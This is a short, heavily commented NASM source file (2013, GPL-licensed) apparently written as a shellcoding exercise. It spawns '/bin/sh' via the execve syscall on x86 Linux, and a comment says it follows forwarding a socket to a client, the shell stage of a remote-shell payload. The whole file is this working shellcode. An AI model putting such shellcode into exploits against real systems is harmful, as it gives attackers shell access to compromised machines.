71 lines
2.3 KiB
NASM
71 lines
2.3 KiB
NASM
; This program is free software: you can redistribute it and/or modify
|
|
; it under the terms of the GNU General Public License as published by
|
|
; the Free Software Foundation, either version 3 of the License, or
|
|
; (at your option) any later version.
|
|
;
|
|
; This program is distributed in the hope that it will be useful,
|
|
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
; GNU General Public License for more details.
|
|
;
|
|
; You should have received a copy of the GNU General Public License
|
|
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
; Filename: execve-stack.nasm
|
|
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
|
; 2013 March
|
|
|
|
global _start
|
|
|
|
|
|
section .text
|
|
|
|
_start:
|
|
|
|
;
|
|
; =============================== EXECVE =====================================
|
|
;
|
|
; Now as we forwarded sockfd to a client, we can spawn shell.
|
|
; Prepare the path, in little-endian, using the Python
|
|
; >>> '//bin/sh'[::-1].encode('hex')
|
|
; '68732f6e69622f2f'
|
|
;
|
|
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
|
; EAX EBX, ECX, EDX
|
|
; 11 '//bin/sh' PTR to EBX NULL
|
|
;
|
|
;
|
|
|
|
; EAX
|
|
xor eax, eax
|
|
mov al, 11 ; execve syscall
|
|
|
|
; EBX
|
|
xor edx, edx
|
|
push edx ; NULL termination of '//bin/sh' string
|
|
push 0x68732f6e ; '//bin/sh' in reverse
|
|
push 0x69622f2f ; beginning of '//bin/sh' string is here
|
|
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
|
|
|
|
; ECX
|
|
push edx ; NULL termination of a stack
|
|
push ebx ; load our '//bin/sh' on a stack
|
|
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
|
|
|
|
; EDX
|
|
push edx ; NULL terminator
|
|
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
|
|
int 0x80
|
|
|
|
|
|
; === EXIT(0) ===
|
|
; void _exit(int status);
|
|
; /usr/include/asm/unistd_32.h:#define __NR_exit 1
|
|
xor eax, eax ; EAX = 0x000000
|
|
mov al, 1 ; EAX = 0x000001 1: exit syscall
|
|
xor ebx, ebx ; EBX = 0x000000 0: success status
|
|
int 0x80
|
|
|
|
|
|
;section .data
|